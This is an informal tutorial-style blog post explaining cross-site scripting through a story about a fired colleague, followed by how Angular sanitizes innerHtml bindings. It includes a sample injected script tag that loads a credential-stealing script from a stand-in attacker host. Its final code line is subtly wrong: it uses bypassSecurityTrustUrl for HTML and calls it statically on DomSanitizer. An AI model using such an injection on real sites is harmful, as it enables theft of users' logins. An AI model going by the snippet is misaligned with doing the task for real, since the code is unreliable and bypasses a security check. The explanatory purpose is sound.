Why sanitize html context ?

Image this situation when you write a blogger, or a forum, or an online editor for 3 GODDAMN 研究紀錄簿s every month like this one, whatever.
If your editor supports only pure text that will be so lame, right? So basically what you need is an editor which enables users to input their colourful HTML encoded content.



Then you wrote such an editor, gladly release it to your website, and couldn't wait to tell 2 people about this new feature, one is the most important customer of your company, say Kelly, the other is your no-good-but-an-asshole-hacker ex-colleague, say YGG, who has just been fired due to hacking into company's HR system.

YGG immediately wrote an article with only a sentence: "Hi I'm YGG I'm a no-good-but-asshole-hacker". You can see this sentence shows on his page but what you didn't notice is the actual html code behind this sentence:

<div>
  <p>Hi I'm YGG I'm a no-good-but-asshole-hacker</p>
  <script src="https://evil.ygg.tw/get-your-credential.js"></script>
</div>

Now when Kelly, the most important customer of your company, accidentally hit into this YGG's article. Her browser loads the script file https://evil.ygg.tw/get-your-credential.js and run it. God knows what's the script doing but according to its file name, guess it'll steal Kelly's account and password, then sending it to YGG.

And what do you think will YGG do once he got the account and password of Kelly? Login your website as Kelly and leave a secret message to tell her that how the hell he miss her ? Or login as Kelly and put lots of links to pornos on her blog, which results in broken up with your company's VIP customer ?

This is the one of the most famous(or notorious) attacks that hackers use to infiltrate website and steal confidential data.

Fortunately Angular 2+ has taken care large part of the guardian for you, by implicitly and in advance sanitizing anything you want to bind to innerHtml, style, or url.

Take an example, if you have a binding which inserts some HTML code into a div.

<div [innerHtml]='htmlSnippet'></div>

Angular 2+ will sanitize htmlSnippet before it's inserted into div, you won't notice that Angular 2+ is doing that. But if you want Angular 2+ to leave it be, you can manually mark htmlSnippet safe by calling DomSanitizer.bypassSecurityTrustUrl() on it, like this:

htmlSnippet = DomSanitizer.bypassSecurityTrustUrl(_realHtmlSnippet);